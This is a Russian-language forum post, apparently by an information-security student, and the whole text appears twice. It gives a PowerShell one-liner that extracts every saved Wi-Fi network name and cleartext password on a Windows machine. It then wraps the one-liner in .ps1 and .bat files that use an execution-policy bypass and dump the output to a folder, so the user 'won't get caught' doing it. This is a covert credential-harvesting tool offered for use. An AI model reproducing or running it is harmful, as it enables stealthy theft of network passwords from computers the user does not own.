Всем привет)
Пишу первый раз, раньше никогда не писал(
Если все будет супер буду писать и в будущем.
Сам учусь на СИБ-ца :) буду рад за лайки)
Тема своя)
Тема пойдет на powershell.
все мы знаем замечательную команду в CMD
1) "netsh wlan show profiles" - чтоб посмотреть на какие сети компухтер или ноут был подключен.
2)"netsh wlan show profiles "ESSID" key=clear"- чтоб посмотреть пароль от сети.
Нам не удобна смотреть каждый процесс отдельно. Вот поэтому ускорим этот с помощью POWERSHELL
" (netsh wlan show profiles) | Select-String "\:(.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)} | Select-String "Содержимое ключа\W+\:(.+)$" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ ESSID=$name;PASS=$pass }} | Format-Table -AutoSize " - ENTER.
Но пока откроем POWERSHELL и напишем этот скрипт нас спалят(
и вот поэтому мы сейчас сделаем БАТ файл.
1) Отрываем Текстовый документ пишем " (netsh wlan show profiles) | Select-String "\:(.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)} | Select-String "Содержимое ключа\W+\:(.+)$" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ ESSID=$name;PASS=$pass }} | Format-Table -AutoSize " (Без кавычек). И сохраняем "powerkey.ps1"
2)Отрываем Текстовый документ пишем "powershell.exe -ExecutionPolicy Bypass -File powerkey.ps1" Сохраняем pow.bat
3) и последний файл опять отрываем Текстовый документ пишем
@Echo off
call pow.bat >wifi/1)wifi.txt 2>&1
exit
И сохраняем start.bat .
4) кидаем все 3 файла в одну папку и в этой же папке создаем папку с название "wifi".
вот и все)
(САМ СКРИПТ НЕ РАБОТАЕТ НА ВСЕХ КОМПЬЮТЕРАХ, В моем случай 4/5).
Пишу первый раз, раньше никогда не писал(
Если все будет супер буду писать и в будущем.
Сам учусь на СИБ-ца :) буду рад за лайки)
Тема своя)
Тема пойдет на powershell.
все мы знаем замечательную команду в CMD
1) "netsh wlan show profiles" - чтоб посмотреть на какие сети компухтер или ноут был подключен.
2)"netsh wlan show profiles "ESSID" key=clear"- чтоб посмотреть пароль от сети.
Нам не удобна смотреть каждый процесс отдельно. Вот поэтому ускорим этот с помощью POWERSHELL
" (netsh wlan show profiles) | Select-String "\:(.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)} | Select-String "Содержимое ключа\W+\:(.+)$" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ ESSID=$name;PASS=$pass }} | Format-Table -AutoSize " - ENTER.
Но пока откроем POWERSHELL и напишем этот скрипт нас спалят(
и вот поэтому мы сейчас сделаем БАТ файл.
1) Отрываем Текстовый документ пишем " (netsh wlan show profiles) | Select-String "\:(.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)} | Select-String "Содержимое ключа\W+\:(.+)$" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ ESSID=$name;PASS=$pass }} | Format-Table -AutoSize " (Без кавычек). И сохраняем "powerkey.ps1"
2)Отрываем Текстовый документ пишем "powershell.exe -ExecutionPolicy Bypass -File powerkey.ps1" Сохраняем pow.bat
3) и последний файл опять отрываем Текстовый документ пишем
@Echo off
call pow.bat >wifi/1)wifi.txt 2>&1
exit
И сохраняем start.bat .
4) кидаем все 3 файла в одну папку и в этой же папке создаем папку с название "wifi".
вот и все)
(САМ СКРИПТ НЕ РАБОТАЕТ НА ВСЕХ КОМПЬЮТЕРАХ, В моем случай 4/5).
Последнее редактирование: